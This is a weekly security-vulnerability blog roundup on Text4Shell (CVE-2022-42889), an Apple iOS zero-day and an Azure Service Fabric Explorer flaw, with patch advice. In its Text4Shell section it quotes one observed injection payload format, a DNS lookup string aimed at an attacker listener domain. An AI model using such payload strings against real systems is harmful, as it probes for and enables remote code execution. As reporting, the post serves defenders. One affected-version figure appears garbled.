Latest Security Vulnerability of the Week 24/10/22 – Application Security – Cloud Security – Infrastructure Security – apache commons – text4shell apple os service fabric 

Latest Security Vulnerability of the Week 24/10/22 - Application Security - Cloud Security - Infrastructure Security - apache commons - text4shell apple os service fabric

Latest Security Vulnerability of the Week 24/10/22 - Application Security - Cloud Security - Infrastructure Security - apache commons - text4shell apple os service fabric


This week we deep dive into the application security vulnerability for apache commons text4shell and the cloud security vulnerability exploit (fixed) service fabric.


Previous Issues of Vulnerability Weekly

Application Security

Attackers started exploiting the new Apache Commons Text 4 Shell.

Apache common text4shell not log4j CVE-2022-42889
Apache common text4shell not log4j CVE-2022-42889

Wordfence on Thursday said it started detecting exploitation attempts targeting the newly disclosed application security flaw in Apache Commons Text on October 18, 2022.

The new vulnerability, CVE-2022-42889, aka Text4Shell, has been assigned a severity ranking of 9.8 out of a possible 10.0 even though the assessment is undergoing new scrutiny. 

The security issue affects libraries versions 1.5 through 19.

The vulnerability resembles the widespread and infamous Log4Shell vuln in that the issue is rooted in how to string substitutions carried out during DNS, script, and URL lookups could lead to the execution of arbitrary code on susceptible systems when passing untrusted input.

The original log4shell was difficult to detect and ingrained in many common libraries, this new version.

“The attacker can send a crafted payload remotely using ‘script,’ ‘dns,’ and ‘url’ lookups to achieve arbitrary remote code execution,” the Zscaler ThreatLabZ team explained.

Like Log4j, a threat actor can send a well-crafted string and open a reverse shell connection with the vulnerable application. A specifically crafted payload can trigger this shell, effectively opening the door for follow-on attacks.

From Zscaler blog

“Most of the payloads we have observed and are tracking appear in query string parameters or headers and use one of the following formats:

DNS prefix: ${dns:address:<victimdomain>.<unique identifier>.<listenerdomain>}” 

Quote from 

“Fortunately, not all library users would be affected by this security issue – unlike Log4j in the Log4Shell vuln, which was vulnerable even in its most basic use cases,” Checkmarx researcher Yaniv Nizry said.

Users with direct dependencies is recommended to upgrade to the fixed version to mitigate potential threats. 

According to Maven, as many as 2,593 projects use the library, although Flashpoint noted that very few of those listed use the vulnerable method.

INFRA and Network Vulnerabilities

Apple Vulnerability fixes the last zero day of the list.

Apple OS vulnerability Apple fixes latest vulnerability and zero day
Apple OS vuln Apple fixes the latest zero-day.

In a recent update ( Monday, 24th), Apple has fixed the ninth zero-day security issue used in attacks against iPhones since the start of the year. 

The bug (CVE-2022-42827) is an out-of-bounds write issue reported to Apple by an anonymous researcher and caused by software writing data outside the boundaries of the current memory buffer.

No information on the attack and exploitation of that vulnerability. Apple still needs to address and disclose them.

This zero-day bug was most likely only used in highly-targeted attacks.

Installing this update prevents those attacks; hence is highly recommended. 

This will likely allow Apple customers to patch their devices before more attackers develop additional exploits and start using them in attacks targeting vulnerable iPhones and iPads.

Following the full list of vulnerabilities fixed since the beginning of the year by apple

Cloud Security

Azure SFX flaw could have been used to exploit the machine and gain admin access (aka Fabricsape)

now-patched security flaw in Azure Service Fabric Explorer (SFX) 

The cloud security misconfiguration/vuln, tracked as CVE-2022-35829, carried a CVSS severity rating of 6.2 and was addressed by Microsoft as part of its Patch Tuesday updates last week.

orca security fabric scape exploit for cloud security

SFX is described by Microsoft as an open-source tool for inspecting and managing Azure Service Fabric clusters, a distributed systems platform that’s used to build and deploy microservices-based cloud applications.

Armed with this exploit, an adversary can send the specially crafted input during the application creation step, eventually leading to its execution.

Credit Orca Security for this exploit:

“This includes performing a Cluster Node reset, which erases all customized settings such as passwords and security configurations, allowing an attacker to create new passwords and gain full Administrator permissions,” Orca Security researchers Lidor Ben Shitrit and Roee Sagi said.

Previous Issues of vulnerability Weekly

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Contextual vulnerability management is a comprehensive approach to identifying, analyzing, and mitigating vulnerabilities in software and cloud infrastructure. It involves considering the specific context and environment in which vulnerabilities exist, including the software and hardware components, the network infrastructure, and the organizational policies and processes in place. By adopting this approach, organizations can more effectively assess and mitigate the risks posed by vulnerabilities, helping to protect their assets and maintain the security of their systems and networks.
Francesco Cipollone
Cyber security risk is challenging to calculate. Real-Time context, Cyber threat intelligence, Ownership Vulnerabilities, all part of the same continuum ->
Alfonso Eusebio
In today’s digital world, cyber threats are a real and growing concern for organizations of all sizes. As the threat landscape continues to evolve. we explore in this blog how to threat treats, which one to use in your prioritization strategy
Sally Turner

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.

x Logo: ShieldPRO
This Site Is Protected By